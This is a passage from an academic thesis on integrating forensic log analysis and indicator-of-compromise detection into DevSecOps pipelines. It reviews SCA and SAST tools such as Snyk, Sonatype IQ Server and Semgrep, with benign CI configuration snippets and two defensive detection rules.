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Summary

This thesis presents an example of a design and implementation of a forensic-aware DevSecOps
pipeline that integrates reactive forensic capabilities into the traditionally proactive DevSecOps
model, addressing the challenges posed by recent and successful attacks, namely the XZ Utils
backdoor and the tj-actions supply chain attack. DevSecOps methodologies prioritize early
vulnerability detection and automated testing throughout the software development lifecycle, yet
often lack mechanisms to support effective post-incident investigation and attribution. Conversely,
digital forensic practices, particularly log-based analysis, offer powerful investigative tools but typ-
ically operate in disconnected, ad hoc environments. The pipeline designed in this thesis tries to
shorten the gap between the two worlds, integrating forensic-ready components such as Splunk for
log aggregation, Falco for real-time threat detection, MISP for threat intelligence correlation, and
extraction of Indicators of Compromise (IoCs) in the source code into automated detection pro-
cesses. The state of the art of the DevSecOps tools will be systematically reviewed—specifically
SCA, SAST, DAST, and IaC scanners—identifying the limitations of existing DevSecOps imple-
mentations, particularly their vulnerability to insider threats and complex supply chain attacks
that elude standard security checks. The proof of concept, having as the test subject an ad-hoc
designed application, is able to demonstrate how forensic awareness can be operationalized within
a modern software pipeline using realistic attack scenarios, including a stealthy backdoor injection
implemented through code injection at run time, to highlight the contrast between traditional and
forensic-aware approaches. This thesis tries to illustrate how conventional pipelines can fail to
detect this kind of threat vector due to a lack of contextual forensic data and automated incident
traceability. The integration of IoC detection mechanisms directly on the source code enhances
the pipeline’s ability to not only identify malicious static patterns but also possibly neutralize
current threats. This approach clearly aligns with the established and proven “shift-left" security
philosophy, extending its scope beyond prevention into real-time detection and forensic readiness,
ultimately proposing a more resilient and investigatively robust development environment.
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Chapter 1

Introduction

Security threats are growing exponentially, both in quantity and complexity, thus requiring in-
novative strategies to defend against cyber crime. The implementation of solutions combining
reactive and proactive techniques are necessary to meet today’s needs, since traditional security
methodologies treat security as an aftertought, and are by no means satisfactory. While proac-
tive approaches heavily rely on automated orchestration and automatic detection tools, reactive
techniques aim to swiftly identify and quickly and precisely react to an attack that has already
taken place. This thesis project will try to extract the best features from both approaches -
namely automatic DevSecOps operations and forensic analysis - in order to merge them into a
comprehensive and coherent strategy.

Despite how ambitious the concept of DevSecOps was considered in its early days, it has
evolved into a widely recognised and commonly used standard. DevSecOps indeed includes cy-
bersecurity analysis as an essential requirement at every step in the software lifecycle, thus making
the already existing DevOps a fully integrated environment. Security testing is therefore not siloed
and isolated anymore, and organizations are able to adopt a truly proactive approach, vastly im-
proving their security posture.

Recent assessments in high-stakes settings, especially at the United States Department of De-
fense (DoD), point to the revolutionary potential of DevSecOps in accelerating the delivery of
secure software. The DoD’s State of DevSecOps (2022) report emphasizes that when DevSecOps
is comprehensively adopted, it not only minimizes deployment cycles but also enhances software
quality, operational performance, and cybersecurity stance. This paradigm shift, particularly
imperative for mission-ready capabilities, is made possible by a culture transformation, empower-
ment of the workforce, and policy alignment. It calls for the necessity of bringing security in from
the beginning and establishing continuous feedback loops between operations and development[2].

As far as reactive methodologies are concerned, it is fair to say that forensic analysis is inher-
ently reactive, as security procedures are activated when an incident has already occurred, leaving
the burden of prevention to other actors. Hence, the time that elapses between the incident and
its resolution leads to the loss or alteration of volatile digital evidence (such as data in RAM
memory), which is crucial to reconstruct the attack that occurred. Unlike DevSecOps, forensic
analysis faces additional challenges: a lack of a standardized methodology and an over abundance
of available tools. The integration of forensic analysis capabilities into DevSecOps pipelines may
represent an invaluable idea for cybersecurity practices by combining what both worlds can do
best. The investigative power of forensic analysis incorporated into the security by design princi-
ples of DevSecOps can in fact create a forensic-aware system able to provide tools to the Security
Operation Center (SOC) to react faster to security incidents.

This thesis examines the state-of-the-art of both fields, and explains how their integration can
generate a robust pipeline with enhanced security analysis thanks to the injection of investigative
functionalities at strategic phases of the pipeline.
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Introduction

1.1 Introduction to DevSecOps

The demand for software creation in recent years has skyrocketed, requiring new methodologies
that allow for structured and rapid development, and an equally rapid deployment process. This
has therefore created a need to directly integrate security into the development processes, substan-
tially shifting the perspective of software development. Thus, DevSecOps (Development Security
Operations) was born, which aims to automate all the processes in the software lifecycle, allowing
greater agility in development.

The Evolution from DevOps to DevSecOps Initially, the development team (Dev) and
the deployment team (Ops) were separate and therefore inefficient, giving rise to the need for
automation and collaboration between their departments. Continuous integration/continuous
delivery (CI/CD) quickly originated in the form of DevOps. However, with the increasing number
of registered cyber attacks, the need to analyse the developed software before public deployment
was of crucial importance, in order to identify any vulnerabilities and mitigate them during the
writing phase. This type of methodology is called “shift-left".

Shift-left is one of the main principles on which the entire DevSecOps process is based. The
aim is to “shift" security analysis as early as possible within the software lifecycle, instead of
introducing it at a later stage. This methodology originated among Agile processes, and it is
intended as a proactive risk mitigation technique performed at all stages (requirements, design,
testing and deployment). Detecting vulnerabilities in code during development and fixing them
immediately is undeniably less costly in terms of time and financial resources required, compared
to how it would be post-deployment. The main advantages of this approach are the following:

• Reduced remediation costs: fixing vulnerabilities during coding is immensely cheaper than
post-deployment patching, which often requires downtime and possible reputational dam-
ages.

• Culture of shared responsibility: by breaking down silos between developers and security
teams and fostering their collaboration, learning is accelerated as developers gain security
literacy while security teams better understand operational constraints.

• Alignment with Agile and DevOps goals: by minimizing delays caused by late-stage se-
curity audits, delivery speed is preserved without compromising compliance with security
standards.

• Enhanced software quality: iterative security testing ensures robust and secure codebases
that align with regulatory standards like the GDPR and/or ISO 27001.

Core Principles of DevSecOps DevSecOps is based on three fundamental concepts: automa-
tion, collaboration and continuous monitoring. Automation tools, as well as security tools, enable
the detection of vulnerabilities at every step of development, such as Static Application Secu-
rity Testing (SAST), Software Composition Analysis (SCA) and Dynamic Application Security
Testing (DAST). Automated security testing ensures that checks are consistently and efficiently
performed, to reduce human error and accelerate development cycles. As far as automation tools
are concerned, their primary purpose is to simultaneously orchestrate the development of the
product and its security posture, following sequential, precise and coordinated steps. They are
outlined as follows:

1. Planning and Requirements Analysis: potential security threats and risks are identified, as
well security requirements and compliance standards.

2. Dependency and Software Composition Analysis (SCA): dependencies for known vulnera-
bilities are scanned and fixed. The compliance of third-party components with licensing
requirements is also verified.

9
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3. Code Development: developers write the code using secure coding guidelines to avoid com-
mon vulnerabilities.

4. Static Application Security Testing (SAST): SAST tools are used to analyze source code
for vulnerabilities in order to identify and eliminate security issues early in the development
process.

5. Build and Package: the build environment is checked to ensure it is secure and free from
tampering. If applicable, container images are scanned for vulnerabilities and misconfigu-
rations.

6. Dynamic Application Security Testing (DAST): running applications are tested for vulner-
abilities.

7. Deployment: an immutable infrastructure is deployed to reduce the risk of configuration
drift, and production environments are securely configured.

8. Runtime Security Monitoring: suspicious activities are monitored by analyzing logs for
incidents.

9. Incident Response and Remediation: automated alerts are set up for security incidents.

10. Continuous Feedback and Improvement: security metrics are tracked and reported.

DevSecOps Challenges Despite increasing demand for DevSecOps as a means of integrating
security into rapid software delivery cycles, its adoption raises a complex array of technical, orga-
nizational, and cultural questions. One of the biggest challenges comes from the inherent conflict
between DevOps’ fast-paced practices and the traditionally manual, methodical nature of security
activities like threat modeling, architecture risk analysis, and compliance scanning—most of which
can’t be automated and reduce release velocity. That conflict is exacerbated by fragmentation of
toolchains, lack of standardization, and complexity in integrating the security tools into continuous
integration and deployment pipelines. Furthermore, developers consistently face broad knowledge
gaps in security best practices, and existing tools are not light enough and developer-centric
enough to facilitate ongoing, scalable security testing. These challenges are magnified in com-
plex environments—such as multi-cloud deployments or highly regulated environments—where
inherent limitations constrain the feasibility of applying DevSecOps concepts exhaustively. A re-
cent paper demonstrates that the outcome is a long-term trade-off between assurance and agility
that companies are unable to reconcile, indicating an urgent need for context-specific solutions
and additional research on automation-supportive security methods for fast-paced development
environments[3].

1.2 Introduction to Forensic Analysis

Forensic analysis applied to cybersecurity is a discipline that combines the principles of classic
forensic analysis to the digital world, to investigate digital crimes, and to preserve, analyse and
present potential evidence. The ultimate goal of digital forensic analysis is to reconstruct a cyber
attack or a security incident, and determine the perpetrator while enabling legal proceedings.
This is possible thanks to the accurate analysis of any entity that leaves behind traces, such as log
files, information still present in the volatile memory (RAM) and network traffic. Unfortunately,
the efficiency and effectiveness of investigative techniques are undermined by many challenges,
such as the vast amount of available data, the heterogeneity and multitude of file formats, and
the purely reactive nature of such investigations. Analysts indeed have to filter through terabytes
of logs, text entries and memory dumps, relying on tools that are sometimes difficult to use in
non-standardised environments. The main techniques used in this field are the following:

• Log Analysis: by relying on logs generated by systems, applications, and network devices, a
timeline of activities is reconstructed, including user actions, system changes, and network
traffic. Log analysis will be the main focus of this thesis, primarly executed with the tool
Splunk.

10
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• Memory Forensics: it is critical for detecting advanced threats that may not leave traces
on the main memory disk. It involves analyzing the RAM to uncover evidence of malicious
activity, such as malware, hidden processes, or unauthorized accesses.

• Disk Imaging and Analysis: it consists of a search for deleted files, hidden data, and artifacts
like browser history, registry changes, or malicious files in the main memory.

1.3 Integration of Forensic Analysis into DevSecOps

We have seen that DevSecOps practices are based on proactive security measures, while forensic
analysis is instead inherently reactive and focuses on investigating and mitigating incidents only
after they have occurred. However, as we cannot predict the future, we can strategically act
on the agility and speed of reaction to a security incident by providing a sufficient degree of
automation. By designing each stage of the pipeline to help facilitate efficient and effective
forensic investigations through the use of log production, collection and management techniques,
the financial and reputational negative impact of a misshandled cyber attack can be significantly
reduced. Companies that contain a breach in less than 30 days indeed save more than $1 million in
comparison to those who take longer[4]. Interestingly, the cost alone of notifying customers about
a hack averages about $740,000 in the United States[5]. Lastly, IBM found that companies that
fully deploy security automation have an average breach cost of $2.88 million whereas companies
without automation have an estimated cost of $4.43 million[5].

1.4 Limitations of traditional pipelines

The adoption of DevSecOps practices has certainly been a step forward in strengthening the pre-
ventive posture of organizations. However, some structural gaps remain evident that compromise
the ability to respond and investigate post-incident. Traditional pipelines, while incorporating
static and dynamic security controls, are not designed to preserve and contextualize digital evi-
dence in an investigatively useful manner.

Among the main limitations found is, first, the absence of enriched contextual logs: logs gen-
erated during the build, test, and deployment phases often do not include sufficient metadata
(commit ID, author, temporal context, executive environment) that can link anomalous events to
specific artifacts or code changes. This makes temporal reconstruction of an attack and identifi-
cation of the point of entry difficult.

Second, there is a noticeable lack of automatic tagging mechanisms of suspicious events, al-
lowing them to be semantically distinguished from normal operational events. Standard logging
solutions do not offer this capability without the integration of ad-hoc rules or external tools
(e.g., Falco), and even when present, the generated data are not automatically linked to known
artifacts.

A further limitation, perhaps the most critical from a forensic perspective, is the difficulty in
correlating source code, runtime behaviors, and forensic attributes: if a suspicious event occurs
in production, tracing it back to the portion of code responsible, its author, and any previous
anomalies in the lifecycle requires time-consuming and uncertain manual activity. There is a lack
of tools that integrate visibility across source code, dynamic logs, and information from threat
intelligence platforms.

This thesis aims to fill these gaps by proposing a forensic-aware DevSecOps architecture in
which each stage of the pipeline not only contributes to prevention, but actively generates per-
sistent, indexable, and contextualized investigative traces. The goal is not to replace existing
practices, but to extend them toward a model capable of effectively supporting the detection,
analysis, and attribution of attacks even in complex, distributed scenarios.
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1.5 Challenges in integrating IoCs in a CI/CD Pipelines

According to CrowdStrike, "An Indicator of Compromise (IoC) is a piece of digital forensics that
suggests that an endpoint or network may have been breached. Just as with physical evidence,
these digital clues help information security professionals identify malicious activity or security
threats, such as data breaches, insider threats or malware attacks". This remark highlights the
reactive nature of IoCs. If prevention is not possible, we must at least act as quick as possible. If
IoCs are swiftly logged, collected and analyzed, they allow security teams to reconstruct attacks,
identify attack vectors and attribute to the proper actors any damages caused by the attack itself.
Some examples of IoCs are the following:

• Unusual Domain Name Servers (DNS) requests and registry configurations

• Unknown applications within the system

• Anomalous activity, such as an increase in database read volume

• Large amounts of compressed files or data bundles in incorrect or unexplained locations

• Unusual inbound and outbound network traffic

• Geographic irregularities, such as traffic from countries or locations where the organization
does not have a presence

• Unauthorized settings changes, including mobile device profiles

• Large numbers of requests for the same file

• Suspicious registry or system file changes

• Unusual activity from administrator or privileged accounts, including requests for additional
permissions

• An uptick in incorrect logins or access requests that may indicate brute force attacks

The integration of IoCs functionalities and their analysis in a CI/CD pipeline is a major challenge,
despite the evidence just presented. Systems are already overly complex, and according to the
Atlassian report on the State of Developer Experience 2024, “69% of developers lose 8 hours or
more of their working week to inefficiencies"[6]. Furthermore, the same report indicates that
build processes are third within the top 5 areas of developer time loss, behind technical debt1

and insufficient documentation. Every tool and every technology generates its own logs in its own
format, resulting in data silos that complicate security monitoring. The sheer amount of volume
and velocity of data that moves through a pipeline makes it even more difficult to accurately
recognize and distinguish vulnerabilities from false positives and background noise.

IoC integration can occur at multiple stages within the DevSecOps pipeline. During the initial
planning and dependency analysis phase, SCA tools can check third-party components against
known IoCs databases, preventing the introduction of compromised dependencies. The Malware
Information Sharing Platform (MISP) is one of these databases, specifically a “threat intelligence
platform for sharing, storing and correlating Indicators of Compromise of targeted attacks [...]",
and it is able to “generate Snort/Suricata/Bro/Zeek IDS rules, STIX, OpenIOC, text or csv
exports MISP, allowing you to automatically import data in your detection systems resulting in
better and faster detection of intrusions"[7]. During build and test phases (SAST), MISP provides
identification of code patterns matching known IoCs, such as hardcoded suspicious IP addresses,
unusual cryptographic implementations, or known malicious functions. This static analysis ap-
proach catches potential issues before code execution, aligning with the shift-left principle. DAST
tools can take advantage of MISP’s database to detect runtime behaviors that match IoC pat-
terns including suspicious network connections, unexpected system calls, or abnormal data access
patterns.

1Technical debt is a common concept in software development, where team leaders delay features and function-
ality, cut corners, or settle for suboptimal performance to push the project forward
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Chapter 2

Background

The DevSecOps introduction in the security landscape was a critical and substantial improve-
ment in software delivery, with the main driving factor being the escalating sophistication of
cyber threats and the increasing strict regulatory pressures. Following the lead of DevOps, which
prioritizes Agile features of fast and quick development thanks to automation features, DevSecOps
embeds security as a fundamental feature within the continuous integration/continuous deploy-
ment (CI/CD) pipeline. This transformation is not merely additive: it requires a considerable
rethinking of the entire toolchain composition[8]. A common scheme that summarizes the De-
vSecOps cycle is the following:

writesDeveloper

commits

Source
code

Code
Repository

Coding
Phase

SCA
SAST
Secret scanning

Build

Artifact
Repository

Build
Phase

Binary scan
SAST

Testing
Phase

Test

Artifact scan
DAST

Deploy

Packaging

Policy check
IoCs findings

Release

Monitor
Phase

Audits

We can observe that from the beginning through the end of the software development life cycle,
there are various security steps in which security is embedded in the process: software composition
analysis (SCA) is put before/during the code phase, static application security testing (SAST) is
executed during and after the coding phase, and dynamic application security testing (DAST) is
executed during the test phase. The tools that implement each step are integrated directly into
automation platforms such as GitHub Actions or Jenkins, enabling real-time automated audit
and remediationib..

The pipeline implementation must not be taken lightly: one of the most crucial challenges lies
in integrating multiple tools without introducing relevant pipeline latency while simultaneously
avoiding enabling supply-chain attacks. In fact, despite the fact that they enable rapid software
delivery, DevSecOps pipelines, if not configured properly, may also present numerous entry points
for exploits and threats[9]. The following image represents the most common ones:
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Vulnerable code, compromised source control, vulnerable dependencies, compromised build sys-
tems, bad artifacts, compromised package managers, and insecure privileges are just some of
the weak spots that can be exploited by malicious actors, and implementing the right security
measures is mandatory and will require dedicated and specific effortib..

In the following sections, the most common and widely used tools in DevSecOps pipelines are
discussed along with their purpose, strengths, and weaknesses so that they can be evaluated on
common features.

2.1 Introduction to SCA tools

In the current state of development strategies and practices, open source software (OSS) is widely
used. According to the Linux Foundation, up to 90% of components of most software is comprised
of OSS [10]. The same report highlights, among other OSS features, how OSS is more secure than
non-OSS. The main reason is that complete code visibility enables SCA tools to automate the
detection and analysis of open source and third-party components. The main capabilities of a
SCA tool are the following:

• Detect vulnerabilities and misconfigured dependencies with open source scanning.

• Generate a Software Bill of Materials (SBOM) for auditability.

• Ensure adherence to open source licenses.

Open Source Scanning Open-source scanning is the process of identifying third-party compo-
nents in a project’s codebase. SCA tools’ primary focus is on manifest files, like the package.json
for Node modules, pom.xml for Java, and requirements.txt for Python, binary artifacts (for
compiled libraries) and Dockerfile for containerized applications. The identification process
consists of the computation of a fingerprint, and a match against public/proprietary vulnerability
databases (e.g., National Vulnerability Database) is searched. Then a dependency tree is gener-
ated, identifying direct and transitive dependencies. Transitive dependencies (a dependency that
relies on another dependency) are a special area of concern because they are less visible to security
tools and audits[11].

Software Bill of Materials (SBOM) A SBOM is a comprehensive list of all the software
components, dependencies, and metadata associated with an application. The SBOM functions
as the inventory of all the building blocks that make up a software product. It includes component
names, versions, and their respective licenses. It contains dependency hierarchies, the vulnerability
status, and patch availability. Its main advantage is that it can be checked easily and directly
against vulnerability databases[12].
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License Compliance Open source licenses range from permissive (e.g., MIT, Apache) to re-
strictive (e.g., GPL, AGPL). The main concerns that are raised by SCA tools are[13]:

• License Conflicts: e.g., Combining GPL-licensed code with proprietary software.

• Obligations: Requirements like attribution or source code disclosure.

2.1.1 Snyk Open Source

Snyk Open Source security management is "[...] a developer-first SCA solution, helping developers
find, prioritize, and fix security vulnerabilities and license issues in open source dependencies".
Additionally, "Snyk Open Source SCA tools integrates right into IDEs [...], workflow tools, auto-
mated scans, and actionable security intelligence" [14]. It provides a multitude of features, the
most notable ones are listed in the following sections.

Dependency Scanning Snyk scans projects to build a dependency tree, identifying direct and
transitive open-source components. It supports npm, PyPI, Maven, NuGet, Go modules, and
more. The snyk test CLI command analyzes manifest files (e.g., package.json, pom.xml) and
lock files to detect dependencies with known CVEs.

• Deep Dependency Resolution: Snyk reconstructs dependency graphs using lock files,
ensuring accurate identification of transitive dependencies[15].

• Supported Package Managers: Full list includes npm, Yarn, Maven, Gradle, Pip, Com-
poser, and Go[15].

Vulnerability Detection and Prioritization Snyk’s vulnerability database combines public
sources (e.g., NVD) with proprietary research, enriched with metadata like exploit maturity and
reachability.

• Reachable Vulnerabilities: Snyk analyzes whether a vulnerable function is actually called
by the application, reducing noise[15].

• Priority Scoring: Uses CVSS scores, exploitability, and project context (e.g., environment,
usage) to rank issues[15].

License Compliance Management Snyk audits dependencies against customizable license
policies, flagging restrictive licenses (e.g., GPL, AGPL).

• Policy Configuration: Define allowed/denied licenses via the Snyk UI or .snyk policy
files[15].

• Enforcement: Block pull requests or builds if dependencies violate policies[15].

Remediation Guidance Snyk provides actionable fixes, including:

• Automated Pull Requests (PRs): Snyk bot creates PRs to upgrade vulnerable depen-
dencies (e.g., snyk wizard for interactive fixes)[15].

• Patch Creation: For unmaintained dependencies, Snyk generates patches[15].

IDE Integration Snyk’s IDE plugins (e.g., VS Code, IntelliJ) provide real-time feedback during
development.

• Inline Annotations: Highlight vulnerabilities directly in code[15].

• Quick Fixes: Suggest version upgrades via hover menus[15].
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CI/CD Integration Snyk CLI and plugins embed scans into popular CI/CD tools like Jenkins
and Github Actions. Here is an example of a Jenkins Pipeline:

stage(’Snyk Security Scan’) {
steps {

snykSecurity(
snykTokenId: ’snyk-auth’,
failOnIssues: true,
severity: ’high’

)
}

}

While a GitHub Actions Pipeline example is the following:

- name: Snyk Scan
uses: snyk/actions/node@master
env:

SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
with:

args: --sarif-file-output=snyk.sarif \
--severity-threshold=critical

The directive –severity-threshold=critical is able to fail builds on critical issues, thereby
acting as a security gate.[15].

Runtime Integration Snyk monitors deployed applications for newly discovered vulnerabilities
via Kubernetes integration and API-driven workflows. During continuous monitoring activities,
it is able to track dependencies in production and send alerts via Slack, Jira, or email.[15].

Policy Enforcement and Customization Snyk enables granular control via:

• .snyk Files: Version-controlled policies to ignore vulnerabilities or set severity rules[15].

• Organization-Level Rules: Enforce compliance across teams[15].

Reporting and Monitoring Snyk’s dashboard aggregates vulnerabilities, licenses, and trends.

• Custom Reports: Export CSV/PDF reports for audits[15].

• Project Contexts: Group projects by environment (e.g., production, staging) for tar-
geted analysis[15].

2.1.2 Sonatype IQ Server

Sonatype IQ Server is an enterprise SCA solution that is able to identify open source risk within
DevSecOps workflows, improving the security posture of the entire software supply chain. Nexus
Lifecycle focuses on compliance features by providing custom security, license, and architectural
policies based on application type or organization; additionally, it is possible to apply and con-
textually enforce those policies across every stage of the software development lifecycle (SDLC).
The main features are described in the following sections[16].
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Component Identification IQ Server identifies components by means of Maven coordinates,
Package URLs (pURLs), and build manifests, depending on the context. Maven coordinates
are a format typical of Java projects, and they include multiple parameters, like the groupId,
artifactId, version, plus optional additional fields like classifier and extension. These
coordinates uniquely identify components inside the Maven ecosystem and are referenced by the
same coordinates during dependency analysis[16].

Package URLs consist of a standard format of URLs, with the purpose of identifying software
components across package systems. A pURL consists of a scheme (pkg), type (e.g., maven),
namespace (groupId), name (artifactId), version, and qualifiers. For example, a Maven com-
ponent can be represented as pkg:maven/tomcat/tomcat-util@5.5.23?type=jar[16].

Build manifests, such as Maven’s pom.xml, provide explicit dependency information for projects.
A pom.xml includes the full list of direct dependencies with their Maven coordinates, which will
be read and parsed by IQ Server. However, transitive dependencies are resolved separately using
tools like Maven’s evaluate goal[16].

Vulnerability detection IQ Server cross-references components against:

• Nexus Intelligence Database: it is a Sonatype’s proprietary database; it aggregates vulner-
abilities from NVD, GitHub Advisory, and from direct researcher submissions.

• Prioritization: Assigns CVSS scores and its relative risk ratings (e.g., Malicious, Critical,
High, Medium, Low).

• Contextual Analysis: Considers vulnerability age, exploitability, and dependency reachabil-
ity.

License Compliance Management IQ Server is able to detect licenses from multiple sources.
Declared licenses are found from component metadata (e.g., LICENSE files), while concluded
licenses are more complex to detect, and machine-learning models are used to infer licenses from
source code. Furthermore, licenses are categorized as Permissive, Copyleft, or Prohibited
(e.g., AGPL), and licenses matching user-defined threat groups are blocked by returning a Fail
state to the security gate[16].

Integration with DevSecOps Pipelines The integration of IQ Server in a pipeline is simple
and straightforward. There are multiple ways to do so, e.g. through Github Actions and Jenkins.
For Jenkins, a Groovy script is used to call API:

nexusPolicyEvaluation(
iqApplication: ’app_id’,
iqStage: ’build’,
iqScanPatterns: [[scanPattern: ’**/*.jar’]]

)

For GitHub Actions, the IQ Server CLI is called inside the workflow yaml file in the following
way:

- name: Sonatype IQ Scan
run: |

nexus-iq-cli \
-s ${{ secrets.IQ_URL }} \
-i app_id \
-a ${{ secrets.IQ_TOKEN }} scan ./target
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Reporting Sonatype IQ server provides multiple means of producing reports. Different formats
are available so that a meaningful and tailored report can be produced for each use case, from
a detailed report used by the development team to a higher-level report that can be useful for
management purposes. Reports can be easily generated and exported from the web interface in
PDF, CSV, HTML, XLSX, XML, and raw JSON format[16].

It is useful to mention that raw JSON reports can be obtained and downloaded via REST
APIs. They provide the usual detailed application data, but in a machine-readable format. It
is particularly useful for automating tasks and providing detailed component-level insights across
the technical Sonatype development teams[16].

Additionally, IQ Server provides a detailed dashboard named "Success Metrics", which are
aggregated statistics compiled over time by the platform in order to highlight the current status
of the security posture of the organization and the relative progress in the remediation of policy
violations. This view, although excellent for providing an executive-level reporting overview of
trends, does not support granular drill-downs[16].

2.1.3 A comparison between Snyk and Sonatype IQ Server

Although both tools analyzed—Snyk and Sonatype IQ Server—fall into the category of Software
Composition Analysis (SCA) tools, there are significant differences in their operational approach
and preferred use cases. Snyk takes a “developer-first” approach, integrating upstream with IDEs,
CLIs and development workflows to provide timely feedback. It is extremely fast and configurable,
great for agile pipelines. In contrast, Sonatype IQ Server is configured as an enterprise-oriented
solution, better suited to high governance and compliance environments, with advanced policy
enforcement and centralized reporting.

Feature Snyk Sonatype IQ Server
IDE integration Yes (VSCode, IntelliJ) No
Reporting Capabilities Medium (CSV, SARIF, PDF) High (PDF, JSON, API REST)
Focus Dev-centric Enterprise-centric
Dependency precision High, via lockfile High, with pURL and manifest
Policy enforcement Limited (.snyk file) Extended and Hierarchical
Learning curve Low Medium-High

Table 2.1. Comparison between Snyk and Sonatype IQ Server

Both offer excellent interoperability (GitHub Actions, Jenkins, Kubernetes), but time perfor-
mance is more in favor of Snyk, while Sonatype excels in depth and auditability.

2.2 Introduction to SAST tools

Static Application Security Testing (SAST) is a security scan technique that has as its main pur-
pose the identification of security vulnerabilities within an application’s source code, bytecode, or
binaries; the scan happens without executing the program, hence the “Static Application" in the
definition. SAST tools employ an ample multitude of techniques, namely lexical, syntactic, and
semantic parsing techniques, in order to construct an abstract representation of the application
logic. Abstract Syntax Trees (AST) and Control Flow Graphs (CFG), for example, are able to
detect vulnerable paths through the traversal of execution branches. The analysis is typically
conducted during the development phase, but strictly after the Software Composition Analysis
phase, in which dependencies have been decided already. The reason is that the cost to fix vulner-
abilities on dependencies becomes exponentially higher the later it is done during the development
process, since changing a dependency might mean refactoring some or even most of the already
written code. SAST tools operate under the white-box paradigm, where the tool has full visibility
of the code dependencies, structure, and even data flow. Some examples of vulnerabilities found

18



Background

by SAST tools are the likes of buffer overflows, cross-site scripting (XSS), SQL/code injection,
and insecure cryptographic: this is done through techniques such as pattern matching, tainted
data propagation, and heuristic-based algorithms[17].

Purpose of SAST The primary objective of SAST tools is the early detection and remediation
of vulnerabilities in the code before the deployment in a production environment. SAST tools
can reliably detect common and known vulnerabilities, such as the ones in the OWASP Top 10
(Open Web Application Security Project), CAPEC (Common Attack Pattern Enumeration and
Classification), SANS (SysAdmin, Audit, Network, Security), and even PCI-DSS (Payment Card
Industry Security Standards Council). The exact line of vulnerable code is marked and high-
lighted, and mitigation measures are often recommended and detailed step-by-step. Furthermore,
SAST tools are able to produce audits by generating artifacts and reports, which map vulnera-
bilities according to their severity levels and location across the code. In the next sections, the
most fundamental features of SAST tools are highlighted and explained[17].

Main Features of SAST Tools The core functionalities of SAST tools are the following:

• Multi-Language Support: Multiple programming languages are supported thanks to
intermediate representation and parsers[18].

• Data Flow Analysis: Data flow is analyzed in search of tainted inputs from sources that
propagate into sinks, which are any security-sensitive operations. Data validation steps are
taken into accountib..

• Control Flow Analysis: Insecure execution paths and unreachable code are found and
identified; improper error handling is found through CFG traversalib..

• Policy-Driven Detection: Context-aware vulnerability detection is handled through cus-
tom policies made ad-hoc for the specific environmentib..

• Integration Capabilities: Integration into CI/CD platforms is made possible by means
of APIs and plugins for IDEsib..

• Prioritized Reporting: Priority is assigned to each vulnerability, and guidance through
remediation is providedib..

Code Abstraction and Intermediate Representations To facilitate analysis, SAST tools
summarize source code into a hierarchically ordered structure system. Lexical analysis breaks
the code down into tokens, including keywords, identifiers, and operators, while syntactic pars-
ing creates ASTs to illustrate hierarchy between code elements. With the help of Intermediate
Representations (IRs), such as Three-Address Code (TAC), the code is stripped down to platform-
independent forms, which removes the language-specific syntactic constraints from the analysis.
These tools are able to carry out more advanced analyses, which include path-sensitive analyses,
resolving symbolic variables, and function calls across modules[19].

Taint Analysis and Data Flow Propagation Taint analysis helps identify security vulnera-
bilities that stem from untrusted data propagating throughout a given application. Sources (e.g.,
user inputs, API responses) are labeled as tainted, and the tool monitors their movement through
function calls, assignments, and even conditional branches. A value is considered tainted when
it reaches a sink like exec() or SQL query and, along the way, does not undergo any form of
sanitization—such as input validation or output encoding. Def-use chains and pointer analysis
are examples of techniques developed to improve precision in following the flow of data in large,
complex codebases[19].
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Control Flow and Path Sensitivity Control Flow Analysis considers the logical execution
order of code in order to identify potential logical errors. CFGs facilitate infinite loop detection,
dead code identification, and exception handling gaps due to their ability to model basic blocks
and branching conditions. The evaluation of possible execution sequences, which is known as
path-sensitive analysis, leverages the use of constraint solvers to cut away unfeasible paths. This
is crucial for reducing false positives in scenarios where vulnerabilities are conditional on runtime
states[19].

Rule-Based Detection and Semantic Analysis SAST tools utilize rule engines to find
code patterns with known vulnerabilities. These rules combine syntactic signatures—like regex
matches for strcpy(), with semantic checks—like in this case for buffer size validation. More
advanced tools tend to make use of static single assignment (SSA) and symbolic execution to in-
fer variable states and detect context-specific vulnerabilities, like weak randomness or hardcoded
credentials[19].

2.2.1 Semgrep

Semgrep (Semantic Grep) is an open-source, static analysis tool with diverse security features,
such as bug findings, code scanning, and enforcement of secure coding guardrails and standards.
Semgrep supports multiple languages and can be easily integrated into IDEs through the use of
plugins; it can be called before in the pre-commit check and can be part of CI/CD workflows.
Unlike traditional SAST tools—which may depend upon systems of abstract syntax trees (ASTs)
or intermediate representations (IRs) which can be time-consuming and/or complex—Semgrep
employs a simpler approach by making use of a pattern-matching engine applied directly to the
concrete syntax trees (CSTs). With this methodology, context scanning is fast, less prone to false
positives, and moreover requires no code compiling or delicate setups[20].

Rule Syntax and Pattern Matching Semgrep’s core strength lies in its declarative rule
syntax (YAML-based), which allows users to define custom patterns for detecting vulnerabilities.
As written on the official github documentation, the core principle of Semgrep behavior can be
summarized as “While running grep 2 would only match the exact string 2, Semgrep would
match x = 1; y = x + 1", highlighting the “context-aware scan" feature[21]. Each defined rule
is composed of the following sections:

• Patterns: potentially vulnerable code snippets to match (e.g., $X == $X for redundant
equality checks).

• Metavariables: placeholders like $X to capture variables, functions, or expressions.

• Message: written and human-readable explanations of findings.

• Severity: possible values are critical, warning, or informational.

Semgrep’s parsing architecture is based on the use of Tree-sitter parsers, a framework that enables
the tool’s multi-language capabilities while maintaining computational efficiency[20]. The Tree-
sitter method performs syntactic analysis by using a defined two-step transformation process:

• Lexical tokenization: segmentation of raw source code into basic parts (tokens).

• Context-free parsing: building of concrete syntax trees using Tree-sitter’s generalized
parsing algorithm.

Finally, a notable Semgrep feature is the equivalence checking, in which it normalizes code
(whitespaces, aliases, and such) in order to reduce noise and false negatives[20]. Furthermore, it
provides taint analysis and data-flow analysis:

• Taint Analysis: Track tainted data flows from sources (e.g., request.getParameter())
to sinks (e.g., executeQuery()).

• Data-Flow Analysis: Analyzes data propagation across multiple functions.
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Pre-Built and Custom Rules In Semgrep, security rules are simple to declare, and they can
be tailored according to the software’s nature and needs[20]. For example, it is possible to define
a rule to detect SQL injections in the following manner:

rules:
- id: sql-injection

pattern: |
$QUERY = "SELECT ... FROM ... WHERE $COLUMN = ’$VALUE’"
cursor.execute($QUERY)

message: "Potential SQL injection. Use parameterized queries."
severity: CRITICAL
languages: [python]

[20] Another example of a taint rule for XSS:

rules:
- id: xss-taint

mode: taint
pattern-sources:

- pattern: flask.request.args.get(...)
pattern-sinks:

- pattern: flask.render_template_string(...)
